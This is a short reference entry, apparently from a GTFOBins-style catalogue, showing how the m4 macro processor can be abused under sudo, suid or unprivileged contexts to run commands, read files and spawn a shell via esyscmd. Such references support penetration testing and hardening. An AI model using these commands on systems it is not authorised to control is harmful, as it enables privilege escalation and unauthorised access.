m4

Command Execution

Context: sudo, suid, unprivileged

echo 'esyscmd(/path/to/command)' | m4

File Read

Context: sudo, suid, unprivileged

m4 /path/to/input-file

Shell

Context: sudo, suid, unprivileged

echo 'esyscmd(/bin/sh 0<&2 1>&2)' | m4